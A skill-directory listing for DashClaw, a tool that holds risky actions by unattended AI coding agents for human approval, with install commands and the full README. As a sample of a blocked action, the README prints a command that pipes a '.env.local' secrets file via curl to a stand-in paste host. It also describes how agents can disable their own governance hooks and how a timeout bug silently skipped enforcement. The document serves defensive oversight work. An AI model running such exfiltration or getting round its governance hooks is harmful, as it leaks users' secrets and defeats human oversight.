Skip to content
Back to search

DashClaw

Remote approvals, policy checks, and execution evidence for unattended AI agents.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today

Check it deeper on your machine

It has changed since its scan on 11 Nov 2026.

As a Claude Code plugin, install it and then ask Claude Code:

/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/ucsandman/DashClaw with scanskillsafety

Or from a terminal, clone it and run it:

git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/ucsandman/DashClaw'

It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.

Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/ucsandman--dashclaw/badge.svg)](/listings/ucsandman--dashclaw)

HTML

<a href="/listings/ucsandman--dashclaw"><img src="/api/listings/ucsandman--dashclaw/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

npx dashclaw up

One command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on `:3000`, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.

<details> <summary><strong>Deploy to the cloud, or try the hosted inbox first</strong></summary>

<br />

Click the button, add Neon when prompted, and fill in the variables from [`.env.example`](.env.example). Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.

The hosted trial is the **secondary** door: to see the Approvals inbox before deploying anything, [hosted.dashclaw.io](https://hosted.dashclaw.io/connect) mints a capped trial workspace in the browser. Coming from the trial, click **Export workspace** on its `/connect` card and run `dashclaw import <bundle.json>` against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: [`docs/hosted-deployment-runbook.md`](docs/hosted-deployment-runbook.md).

</details>

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 14 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. {
  2. "name": "dashclaw",
  3. "owner": { "name": "DashClaw", "email": "team@dashclaw.io" },
  4. "metadata": { "pluginRoot": "./plugins" },
  5. "plugins": [
  6. {
  7. "name": "dashclaw",
  8. "source": "dashclaw",
  9. "description": "DashClaw governance, integration, and platform intelligence: guard checks, approvals, and audit trails for your agents.",
  10. "category": "Developer Tools",
  11. "tags": ["governance", "mcp", "agent-safety", "approval"]
  12. }
  13. ]
  14. }
README.md · README · 351 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. <div align="center">
  2. <img src="public/images/logo-circular.png" alt="DashClaw" width="200" />
  3. <h1>DashClaw</h1>
  4. <p><strong>With a supported enforcement integration, when your AI agent (OpenClaw, Hermes, Claude Code, Codex) tries something destructive or expensive, DashClaw catches it before it runs and asks you first, even when you are not at the keyboard. Every decision lands in a signed ledger.</strong></p>
  5. <p>Run agents unattended without giving them unconditional authority.</p>
  6. <p>
  7. <a href="https://github.com/ucsandman/DashClaw/actions/workflows/ci.yml"><img alt="CI" src="https://img.shields.io/github/actions/workflow/status/ucsandman/DashClaw/ci.yml?branch=main&style=flat-square&label=ci" /></a>
  8. <a href="https://www.npmjs.com/package/dashclaw"><img alt="npm" src="https://img.shields.io/npm/v/dashclaw?style=flat-square&color=orange&label=npm%3A%20dashclaw" /></a>
  9. <a href="https://pypi.org/project/dashclaw/"><img alt="PyPI" src="https://img.shields.io/pypi/v/dashclaw?style=flat-square&color=orange&label=pypi%3A%20dashclaw" /></a>
  10. <a href="https://github.com/ucsandman/DashClaw/blob/main/LICENSE"><img alt="License: MIT" src="https://img.shields.io/badge/license-MIT-green?style=flat-square" /></a>
  11. <img alt="Platform: Node 20+" src="https://img.shields.io/badge/platform%20node-20%2B-blue?style=flat-square" />
  12. <img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7%2B-blue?style=flat-square" />
  13. </p>
  14. <p>
  15. <a href="https://dashclaw.io"><img alt="Website" src="https://img.shields.io/badge/site-dashclaw.io-111?style=flat-square" /></a>
  16. <a href="https://dashclaw.io/docs"><img alt="Docs" src="https://img.shields.io/badge/docs-SDK%20%26%20API-111?style=flat-square" /></a>
  17. <a href="THESIS.md"><img alt="Thesis" src="https://img.shields.io/badge/thesis-what%20this%20is-111?style=flat-square" /></a>
  18. <a href="docs/maintainer-log.md"><img alt="Maintainer log" src="https://img.shields.io/badge/log-maintainer%20changes%2C%20public-111?style=flat-square" /></a>
  19. </p>
  20. <sub>
  21. <a href="#what-you-get">What you get</a> &nbsp;·&nbsp;
  22. <a href="#what-it-actually-stops">What it stops</a> &nbsp;·&nbsp;
  23. <a href="#the-loop-in-code">The loop</a> &nbsp;·&nbsp;
  24. <a href="#what-dashclaw-is-not">What it is not</a> &nbsp;·&nbsp;
  25. <a href="#quick-start">Quick start</a> &nbsp;·&nbsp;
  26. <a href="#connect-an-agent">Connect an agent</a>
  27. </sub>
  28. </div>
  29. ```bash
  30. npx dashclaw up # no account, first caught action in minutes
  31. ```
  32. > **AI agents:** setting DashClaw up for your user? Run `npx dashclaw up --yes --no-browser` — the plain command prompts and will hang a non-interactive shell. The API key lands in `~/.dashclaw/instance.json`; verify with `GET http://localhost:3000/api/health` and `npx dashclaw doctor`. Full runbook: [dashclaw.io/llms.txt](https://www.dashclaw.io/llms.txt). Do not attempt the hosted trial headlessly — its captcha needs your human.
  33. <div align="center">
  34. <br />
  35. <img src="public/media/marketing/readme-demo.gif" alt="Illustration of a pending action and the Allow control in the Approvals inbox" width="760" />
  36. <br />
  37. <sub>A hook-integrated agent tries a destructive tool call. DashClaw freezes it before it runs, routes it to the Approvals inbox, and writes a replayable decision record when you resolve it.</sub>
  38. <br />
  39. <sub>This illustration shows the approval workflow. <a href="https://www.dashclaw.io/demo">Explore the current interactive demo</a> for the supported product surfaces.</sub>
  40. </div>
  41. ## What you get
  42. A 10-second capability scan before the dense sections:
  43. - **Fail-closed intercept at the execution seam.** The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and `dashclaw_invoke` can cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict.
  44. - **One-click remote approval.** Resolve from the `/approvals` inbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.
  45. - **Approvals in plain English.** Every pending item leads with one sentence for what the command actually does, flags what cannot be undone, and warns when a file holds credentials. When no rule reads the command with confidence, it says so instead of guessing. The exact command is always shown underneath.
  46. - **"Allow, don't ask again."** Preview the target, lease, and matching pending items before creating a scoped standing grant. The UI resolves eligible items through the normal approval path and reports partial failures. High-risk, ungrantable, expired, or self-approved sources are rejected. Standing grants remain visible and revocable in the inbox.
  47. - **Verifiable recorded evidence.** Decision records, Ed25519 receipts where issued, and signed exports support later review. A receipt verifies its signed contents, not that an external effect happened. Authenticated identity and action-payload signing are shown separately.
  48. - **Calibrated interruptions.** Your approve/deny verdicts tune how often it interrupts, with a proven cap on false interruptions instead of a guessed threshold.
  49. - **Autonomy is a number, not a prompt.** How much your agent ships without a human looking is set by policy thresholds and checks, not by wording. Each action carries the agent's stated confidence — declared on the guard call, before the act, so it is a prediction and not a postscript — and the ledger scores it against the reported outcome, so an overconfident agent shows up as a number on /decisions, not as a surprise.
  50. - **Enforcement liveness.** A probe tests whether a synthetic held action executes through the installed hook path. Setup distinguishes stale, broken, and unavailable evidence and shows measured runtime versions and hook fingerprints as client-reported diagnostics, not attestation.
  51. - **Prompt-injection scanning on by default.** High-confidence system-override patterns force a `block` at guard time; weaker ones raise a `warn`.
  52. - **Multi-runtime.** Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
  53. - **MIT-licensed self-hosting.** Run locally or deploy your own instance. Hosting and provider usage are subject to their plans and limits.
  54. ## What it actually stops
  55. At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent *deciding* to call a tool and the tool *actually running*. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and `dashclaw_invoke` can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
  56. These are the catches on the record, from the [maintainer log](docs/maintainer-log.md) and [THESIS.md](THESIS.md), each one the same loop firing:
  57. - `rm -rf` on a working directory
  58. - `DROP TABLE` against a live database
  59. - `git push --force origin main`
  60. - reading `.env` and preparing to exfiltrate it (risk 100, two policies firing at once)
  61. The last one caught the maintainer's *own* shell command mid-verification: extracting an API key from `.env.local`, blocked live at risk 100. Here is roughly what the seam does with it:
  62. ```console
  63. $ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
  64. DashClaw guard risk=100 policies_matched=2
  65. decision=block (fail-closed, hook exit 2)
  66. -> tool call cancelled. never executed. decision recorded in the ledger.
  67. ```
  68. The audience is narrow on purpose: a solo developer or small team running long, **unattended** coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
  69. **Where DashClaw fits.** Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
  70. ## The loop in code
  71. It is 2am, the run is in hour three, and the agent reasons its way to `git push --force origin main`. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
  72. The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside `runGoverned()` as shown here.
  73. ```javascript
  74. import { DashClaw } from 'dashclaw';
  75. const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
  76. await claw.runGoverned(
  77. // The exact act is scrubbed, classified, recorded, and bound to the execution claim.
  78. { kind: 'shell', command: 'git push --force origin main' },
  79. { action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
  80. async () => run(),
  81. );
  82. ```
  83. `runGoverned()` waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses `run_governed()`. Full example: [`QUICK-START.md`](QUICK-START.md).
  84. **Upgrade order:** deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that mode lacks atomic execution claims. Malformed or unsupported advertisements fail closed. Set `DASHCLAW_REQUIRE_EXECUTION_CLAIMS=1` after the server upgrade to reject legacy responses. See the [execution contract](docs/architecture/durable-execution-finality.md).
  85. ```mermaid
  86. flowchart LR
  87. A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
  88. B -->|allow / warn| G[Fresh policy check<br/>and atomic execution claim]
  89. B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
  90. B -->|allow_contained| F[Staged in a worktree<br/>diff awaits promote/discard]
  91. B -->|require_approval| E[Action frozen]
  92. E -->|approve, from anywhere| G
  93. E -->|deny| D
  94. F -->|promote| G
  95. F -->|discard| D
  96. G -->|confirmed claim| C[Tool runs]
  97. G -->|rejected or uncertain| D
  98. C --> L[(Decision and outcome records<br/>receipts where issued)]
  99. D --> L
  100. L -.-> P[Independent liveness probe<br/>tests the installed seam]
  101. ```
  102. The decision lattice is `allow < warn < allow_contained < require_approval < block`. Join is `max`; a `block` is absolute and cannot be downgraded in the ledger. `allow_contained` only ever reaches a caller that advertised the capability string for the staging medium it would use — `client_capabilities: ['allow_contained']` for a git worktree, `['allow_contained:db']` for an ephemeral database branch; an older client sees `require_approval` instead (version skew only tightens).
  103. > [!IMPORTANT]
  104. > **Enforcement is mechanically real only where DashClaw sits in the seam between decide and execute:** the Claude Code, Codex, and Hermes PreToolUse hooks (fail-closed, exit-2 on block), the OpenClaw gateway, and `dashclaw_invoke`. Everywhere else (bare SDK, API, and MCP callers, desktop chat) governance is **cooperative**: the caller consults guard and honors the decision; recording requires the caller to use a recording path. A block is never downgraded in the ledger. DashClaw does not claim universal hard enforcement. Even at the mechanical seam, the hook runs at the agent's own privilege level. An agent with write access to the hook path can disable its governor; DashClaw can govern and report that write, but the tamper-resistant boundary belongs to the deployment: a container, separate OS user, or read-only hook path. Per-surface table and full threat model: [`docs/architecture/enforcement-boundary.md`](docs/architecture/enforcement-boundary.md).
  105. ## What DashClaw is not
  106. This section exists so you can rule the tool out fast if it is the wrong thing.
  107. - **Not a general tracing product.** DashClaw focuses on policy decisions before execution. It can halt calls at the supported mechanical seams above; cooperative callers must honor the result. If you primarily need model traces and evaluation dashboards, this is not that.
  108. - **Not a general agent platform.** DashClaw does not provide a broad calendar, CRM, messaging, or RAG tool suite. It retains one bounded, operator-configured capability seam: `dashclaw_invoke` can hold a registered credential and execute that registered external API after server-side governance. The v5.0.0 cull removed the wider platform tier, and a CI [surface-budget brake](THESIS.md#the-anti-regrowth-brake) prevents it growing back.
  109. - **Not universal hard enforcement.** Enforcement is mechanical only at the seam (the hooks, the OpenClaw gateway, `dashclaw_invoke`); everywhere else it is cooperative. See the boundary note above.
  110. - **Not tamper-proof against the agent it governs.** The hook runs at the agent's privilege level, inside the blast radius of the thing it governs. It stops the accident class and makes tampering visible and policy-blocked; it cannot stop a determined process executing at the same privilege. Real isolation is a deployment property — container, separate OS user, or read-only hook path — and DashClaw's docs say so instead of pretending otherwise.
  111. - **Not battle-tested at scale.** First commit was February 2026. It is proven by continuous dogfood, not by a large install base. See [Project status](#project-status).
  112. Full product definition and everything explicitly out of scope: [`THESIS.md`](THESIS.md).
  113. ## Maintained by an AI, under a human-held charter
  114. Day-to-day, DashClaw is built and maintained by an AI agent, in public. That agent operates under a human-held charter, [`MAINTAINER.md`](MAINTAINER.md), which pins five invariants it **cannot** change:
  115. 1. **Blocks are absolute.** A `block` is never downgraded, in the ledger or anywhere else.
  116. 2. **No self-approval.** The maintainer cannot approve its own governed actions.
  117. 3. **Humans ratify every loosening.** Any policy relaxation routes through a human-ratified proposal.
  118. 4. **Credential-gated acts stay human-controlled.** Production data, publishing, billing, and infrastructure changes require the owner's authorization.
  119. 5. **The charter remains human-held.** Its constitutional rules change only at the owner's explicit direction. The operating protocol separately requires live proof for public claims.
  120. Material maintainer changes and design decisions are recorded in the [maintainer log](docs/maintainer-log.md). Governing autonomous agents is the exact problem DashClaw exists to solve, so the project governs its own maintainer with its own runtime. That is the source of the sharpest design constraints below. The enforcement boundary, the blackout, and the liveness incident are included here so the claims remain auditable.
  121. ## Quick start
  122. ```bash
  123. npx dashclaw up
  124. ```
  125. One command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on `:3000`, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.
  126. <details>
  127. <summary><strong>Deploy to the cloud, or try the hosted inbox first</strong></summary>
  128. <br />
  129. [![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https%3A%2F%2Fgithub.com%2Fucsandman%2FDashClaw&env=DATABASE_URL,DASHCLAW_API_KEY,ENCRYPTION_KEY,NEXTAUTH_SECRET,NEXTAUTH_URL,CRON_SECRET,DASHCLAW_LOCAL_ADMIN_PASSWORD&envDescription=Required%20DashClaw%20configuration.%20See%20.env.example%20for%20details.&envLink=https%3A%2F%2Fgithub.com%2Fucsandman%2FDashClaw%2Fblob%2Fmain%2F.env.example&project-name=my-dashclaw&repository-name=my-dashclaw&products=%5B%7B%22type%22%3A%22integration%22%2C%22integrationSlug%22%3A%22neon%22%2C%22productSlug%22%3A%22neon%22%2C%22protocol%22%3A%22storage%22%7D%5D&skippable-integrations=1)
  130. Click the button, add Neon when prompted, and fill in the variables from [`.env.example`](.env.example). Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.
  131. The hosted trial is the **secondary** door: to see the Approvals inbox before deploying anything, [hosted.dashclaw.io](https://hosted.dashclaw.io/connect) mints a capped trial workspace in the browser. Coming from the trial, click **Export workspace** on its `/connect` card and run `dashclaw import <bundle.json>` against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: [`docs/hosted-deployment-runbook.md`](docs/hosted-deployment-runbook.md).
  132. </details>
  133. ## Connect an agent
  134. Every path lands on the same guard engine, the same decision ledger, and the same Approvals inbox. The enforcement column is honest about which paths halt mechanically and which are cooperative.
  135. | Your agent runs on | Path | Enforcement | Guide |
  136. |---|---|---|---|
  137. | Claude Code | Plugin + PreToolUse hooks | Mechanical, fail-closed | [claude-code.md](docs/integrations/claude-code.md) |
  138. | Codex | Plugin | Mechanical, fail-closed | [plugins/dashclaw](plugins/dashclaw/) |
  139. | Hermes Agent | Plugin (lifecycle hooks) | Mechanical, fail-closed | [hooks/README.md](hooks/README.md) |
  140. | OpenClaw | Gateway plugin | Mechanical | [packages/openclaw-plugin](packages/openclaw-plugin) |
  141. | `dashclaw_invoke` (MCP) | Guarded invoke | Mechanical | [mcp.md](docs/integrations/mcp.md) |
  142. | Claude Desktop (chat) | OAuth connector, no install | Cooperative | [CLAUDE-DESKTOP-PLUGIN.md](docs/CLAUDE-DESKTOP-PLUGIN.md) |
  143. | Any stdio / HTTP MCP host | MCP server | Cooperative | [mcp.md](docs/integrations/mcp.md) |
  144. | LangChain / CrewAI / AutoGen | Python SDK | Cooperative | [sdk-python/README.md](sdk-python/README.md) |
  145. | Custom / framework-less | Node or Python SDK | Cooperative | [sdk/README.md](sdk/README.md) |
  146. | Anything HTTP | REST API + webhooks | Cooperative | [OpenAPI](docs/openapi/critical-stable.openapi.json) |
  147. End-to-end examples per runtime: [`examples/`](examples/).
  148. <details>
  149. <summary><strong>Commands for each path</strong></summary>
  150. <br />
  151. **Coding-agent plugins (Claude Code, Codex, Hermes).** One plugin source ([`plugins/dashclaw/`](plugins/dashclaw/)), three ecosystems. Each manifest ships the MCP config, the `dashclaw-governance` protocol skill, and a distinct `agent_id`.
  152. ```bash
  153. npm i -g @dashclaw/cli
  154. dashclaw install claude # wires ~/.claude/settings.json, fresh installs default to enforce
  155. dashclaw install codex --project /path/to/repo # wires manifest, hooks, AGENTS.md protocol
  156. bash scripts/install-hermes-plugin.sh # macOS / Linux (.ps1 on Windows)
  157. ```
  158. This repo is also a native Claude Code plugin marketplace — no CLI needed:
  159. ```bash
  160. /plugin marketplace add ucsandman/DashClaw # inside Claude Code
  161. /plugin install dashclaw@dashclaw # MCP server + governance skill + hooks
  162. ```
  163. Claude Code hooks govern Bash, Edit, Write, MultiEdit, sub-agent spawns, and every `mcp__*` call with a fail-closed PreToolUse check. Fresh installs start in enforce mode (the seeded catastrophe pack holds the irreversible class); pass `--observe` or set `DASHCLAW_HOOK_MODE=observe` to log without blocking, and re-installs keep whichever mode you chose. Observe mode is loud, never silent: `/approvals` and `/decisions` show a red banner while any agent reports it, unenforced verdicts render "Logged, not enforced" in the ledger, and a gated action that executes anyway gets an `executed_despite` witness stamp from PostToolUse — a logged block is never presented as an enforced one. **Narrowing the scope is loud too:** `DASHCLAW_GOVERNED_CATEGORIES` decides which tool categories call guard at all, and an excluded category exits before the network call, so its tool calls are simply *absent* from `/decisions` — which reads identically to "that agent did nothing." Since v5.20 the hook declares the categories it is not governing on the calls it does make, and any category dropped below the default raises a red **Governance scope narrowed** signal naming what stopped being watched. Verify the wiring fires:
  164. ```bash
  165. echo '{"tool_name":"Bash","tool_input":{"command":"echo hello"},"tool_use_id":"t1","session_id":"smoke"}' | python .claude/hooks/dashclaw_pretool.py
  166. ```
  167. **OpenClaw.** [`@dashclaw/openclaw-plugin`](packages/openclaw-plugin) intercepts calls delivered through the gateway's installed `before_tool_call` hook, so those calls need no agent-initiated DashClaw tool. The CLI installs it, patches config, and writes the governance protocol into the resolved workspace's `AGENTS.md`. Embedded native tools need their own runtime hooks.
  168. ```bash
  169. dashclaw install openclaw
  170. ```
  171. Run it bare in a terminal and it walks you through everything you're missing: no DashClaw instance yet? it offers the hosted trial or a local install (`dashclaw up`) inline; no API key? it collects one; then it suggests a per-machine agent id (`<hostname>-openclaw`). With `--base-url`, `--api-key`, and `--agent-id` (or the matching env vars) it runs non-interactively. Full guide: [dashclaw.io/guides/openclaw](https://www.dashclaw.io/guides/openclaw).
  172. **MCP server (zero code).** [`@dashclaw/mcp-server`](mcp-server) exposes **17 governance MCP tools** across core governance, retrospection, identity, team tasks, and plans, plus 3 read-only resources (`dashclaw://policies`, `dashclaw://agent/{agent_id}/history`, `dashclaw://status`).
  173. ```json
  174. { "mcpServers": { "dashclaw": { "command": "npx", "args": ["@dashclaw/mcp-server"],
  175. "env": { "DASHCLAW_URL": "https://your-dashclaw.vercel.app", "DASHCLAW_API_KEY": "oc_live_xxx" } } } }
  176. ```
  177. Every instance also serves Streamable HTTP MCP at `/api/mcp`. For Claude Desktop, add that URL as a custom connector (Settings, Connectors); OAuth auto-discovers, no key in the UI.
  178. **SDKs.** `npm install dashclaw` (Node 18+) or `pip install dashclaw` (Python 3.7+). The **41-method canonical Node surface** covers guard, record, assumptions, approvals, durable-execution finality, security scanning, sessions and the action graph, pairing, risk signals, policy simulation, plan authorization, delegation constraints, containment verdicts, and team tasks. The **Python SDK exposes 61 methods**, plus CrewAI and AutoGen integrations. Plan authorization pins the approved plan's content hash at submission (`plan_hash`); `attestPlan(planId, planHash)` / `attest_plan(plan_id, plan_hash)` let an unattended runner confirm -- before its first model call -- that the plan it is about to act under is still approved, unexpired, and hash-matched, failing closed on drift (`not_approved | expired | revoked | hash_mismatch`) without ever echoing the stored hash back on a mismatch.
  179. **REST.** Every primitive is HTTP. The stable contract is pinned in [`docs/openapi/critical-stable.openapi.json`](docs/openapi/critical-stable.openapi.json); the full inventory (**136 routes**: 43 stable, 18 beta, 75 experimental) is in [`docs/api-inventory.md`](docs/api-inventory.md). Webhooks: `decision.created`, `action.created`, `lost_confirmation`, configurable per org.
  180. </details>
  181. ## The governance model
  182. The protocol-1 diagram above shows the current execution path. Eight points define its scope:
  183. 1. **Every action inside a mechanical integration's configured governance scope is evaluated against active policies before that integration releases it.** Cooperative SDK, API, and ordinary MCP callers receive the same verdict but remain responsible for honoring it. Policies are declarative. The builder ships with ten pre-built safety switches (Deploy Gate, Risk Threshold, Rate Limiter, Evidence Required, Protected Path, Subagent Constraint, and others across 20 guard policy types), an AI generator, YAML import, and a pack gallery at `/policies/packs` — 18 curated packs (spend, outbound comms, unattended overnight runs, prod infra, subagent fleets, and more), each previewable against your own action history before a one-click install.
  184. 2. **The default pack is narrowly scoped.** New self-hosted organizations receive the catastrophe pack. Its named rules hold protected-target destruction, force pushes, secret-file writes, and classified real-money purchases. Risk score alone does not trigger every hold, and ordinary project cleanup is not universally blocked. Review the [actual rules](app/lib/guardrails/packs/catastrophe-only/policies.yml) and your active Short List; additional policies can impose stricter decisions.
  185. 3. **Sensitive actions require human approval, and the approval is one click.** Approvals route to `/approvals`, the CLI, the mobile PWA at `/approve`, Telegram, or Discord. When one policy blows its interruption budget, per-action pings collapse into one flood banner with bulk-resolve. A repeat interruption can be retired at the card with "Allow, don't ask again", which writes a target-scoped, expiring, revocable grant rather than silencing anything. Pending approvals are never auto-resolved.
  186. 4. **Decisions are recorded and outcome transitions are durable.** A five-state finality machine distinguishes confirmed outcomes from `lost_confirmation`. Protocol-1 execution claims give one caller authority for one attempt, but they cannot prove whether an external effect completed after a response was lost. Unknown completion requires reconciliation or effect-specific idempotency before retry. Spec below and in [`docs/architecture/durable-execution-finality.md`](docs/architecture/durable-execution-finality.md).
  187. 5. **Interruption precision is calibrated, not guessed.** A distribution-free controller ([`/policies#calibration`](docs/architecture/governance-core-theory.md), default preview) turns your approve/deny verdicts into a proven false-interruption bound. Shadow-first, then it loosens as well as tightens: below the calibrated threshold an approval request becomes a recorded warning instead, bounded by the riskiest action you have personally approved and retracted by a single deny. It never reaches `allow`, never touches a `block`, and never edits a policy — standing policy changes still route through human-ratified proposals.
  188. 6. **Liveness checks test the installed seam.** A synthetic action tests whether the configured hook holds execution. Setup shows the result, reporting time, host-runtime version, and selected hook fingerprint. Missing or malformed reports remain unavailable. These client-reported checks do not establish continuous enforcement or resist a compromised same-user host.
  189. 7. **Prompt-injection scanning is on by default.** High-confidence system-override patterns force a `block` at guard time; lower-severity patterns raise a `warn`.
  190. 8. **An outside decision engine can tighten decisions, never loosen them.** An org can configure one external decision provider on `/policies`; the guard calls it for applicable evaluations and joins its verdict stricter-wins — external `deny` is absolute for the evaluated act, external `allow` never overrides a stricter local result, and the verdict is bound to the exact input digest. An unreachable applicable provider takes an explicit posture (`fail_closed` default) and is recorded as `external unavailable`. A provider can be scoped to exact action types; out-of-scope acts stay local-only. Contract: [`docs/external-verdict-provider.md`](docs/external-verdict-provider.md).
  191. <details>
  192. <summary><strong>Why each of those is the way it is (the incidents behind the design)</strong></summary>
  193. <br />
  194. **The 18-day blackout (point 2).** The reference deployment ran with all policies off for 18 days in June 2026 because the default pack fired an approval roughly every ten seconds. That is why the default is catastrophe-only: a governor you disable is worse than none. Cited in [MAINTAINER.md](MAINTAINER.md) and [THESIS.md](THESIS.md).
  195. **The governor caught asleep (point 6).** In v4.72.1 a hook timeout was set to `3600000` in a field Claude Code reads as *seconds*; the harness multiplied by 1000, `3.6e9` ms overflowed the 32-bit timer ceiling, the timer fired immediately, and the harness cancelled the hook and ran the tool anyway. Every block and every approval wait was silently skipped, including a `block` on `git push origin main`. The worst part: the orphaned hook process lived long enough to land its guard call, so the ledger kept filling with decisions that *looked* enforced. Maximum false confidence. That incident is the entire reason the liveness probe (v4.75.0) verdicts by execution and not by the ledger. Story: [`docs/maintainer-log.md`](docs/maintainer-log.md).
  196. **The calibration bound (point 5).** The controller is the Gibbs-Candes online adaptive conformal recursion on a monotone decision loss, with a deterministic false-interruption bound: for any adjudication sequence (arbitrary drift, arbitrary dependence, adversarially chosen), the realized false-interruption rate is at most `α + (b − θ₁)/(γT)`. With shipped constants (`γ=2, θ₁=80, b=102`) the excess above target is `≤ 11/T`: within 0.1 of target after ~110 labeled adjudications, within 0.01 after ~1100. No distributional assumptions. Proof sketch: [`docs/architecture/governance-core-theory.md`](docs/architecture/governance-core-theory.md).
  197. **Signed, verifiable receipts (point 4).** Each `non_fabrication` decision attempts to attach an Ed25519 proof receipt proving the verdict, the ruleset version (a content hash of the source of truth), and the issuer signature; signing is best-effort and never gates the verdict. The compliance export is a signed, hash-chained bundle. Anyone can re-verify at `POST /api/integrity/verify` with **no API key**. The signing key is the instance's own Ed25519 key, published via JWKS. Contract: [`docs/architecture/runtime-api.md`](docs/architecture/runtime-api.md).
  198. **The anti-regrowth brake.** A 2026-03 SDK cull regrew to full sprawl in four months because the promised CI gate never shipped. This time `scripts/check-surface-budget.mjs` counts every governed surface and fails CI when any exceeds its v5.0.0 ceiling. Raising a ceiling requires amending [`THESIS.md`](THESIS.md#the-anti-regrowth-brake) and `contracts/surface-budget.json` in the same commit with a written reason.
  199. </details>
  200. Architecture map: [`PROJECT_DETAILS.md`](PROJECT_DETAILS.md). Runtime API contract: [`docs/architecture/runtime-api.md`](docs/architecture/runtime-api.md).
  201. ## Durable execution finality
  202. Approved actions carry a terminal outcome separate from their lifecycle status. Five states, one-shot transitions, enforced at the repository layer.
  203. | State | Meaning |
  204. |---|---|
  205. | `pending` | Approved, no outcome reported yet. |
  206. | `completed` | Finished successfully. Set by the agent. |
  207. | `partial` | Started but did not finish. Set by the agent with a progress payload. |
  208. | `failed` | Attempted and errored. Set by the agent with an error message. |
  209. | `lost_confirmation` | Timeout exceeded without a report. Set by the cron sweep. |
  210. `POST /api/actions/[actionId]/outcome` is one-shot: the first call wins, every later POST returns 409. A cron sweep marks stale pending rows `lost_confirmation` and emits a `signal.detected` event. That state means completion is unknown, not that the effect did not happen. Reconcile the external system and action record, or use the target system's idempotency primitive, before retrying. Spec: [`docs/architecture/durable-execution-finality.md`](docs/architecture/durable-execution-finality.md).
  211. ## Approvals, from anywhere
  212. `waitForApproval()` uses SSE for low latency and falls back to polling, reconciling the authoritative action state before it resolves.
  213. | Surface | What it is | Setup |
  214. |---|---|---|
  215. | Dashboard (`/approvals`) | The primary inbox: what your agent tried, what waits on you, and per item — allow, deny, or stop being asked about that exact target — each led by a plain-English sentence for what the command does. | None |
  216. | CLI (`@dashclaw/cli`) | Terminal inbox: `dashclaw approvals`, `dashclaw approve <id>`. | `npm i -g @dashclaw/cli` |
  217. | Mobile PWA (`/approve`) | Phone-first allow/deny with risk score and policy. Add to home screen. | None |
  218. | Telegram | Inline Approve/Reject in an admin chat. | `dashclaw install telegram` ([guide](docs/telegram-setup.md)) |
  219. | Discord | Inline Approve/Deny on DM embeds. | [`.env.example`](.env.example) |
  220. <div align="center">
  221. <img src="docs/media/shot-decisions.png" alt="The decisions ledger: a stream of governed agent actions with risk scores, governance decisions, and outcomes" width="760" />
  222. <br />
  223. <sub>The decisions ledger. Every governed action, its risk score, its verdict, and its outcome, replayable.</sub>
  224. </div>
  225. ## Documentation
  226. **[docs/README.md](docs/README.md) is the full index**, ordered by adoption journey (understand, try, connect, operate, reference). Highlights:
  227. - [Concepts](docs/concepts.md): the mental model, risk scoring, what "block" means per surface.
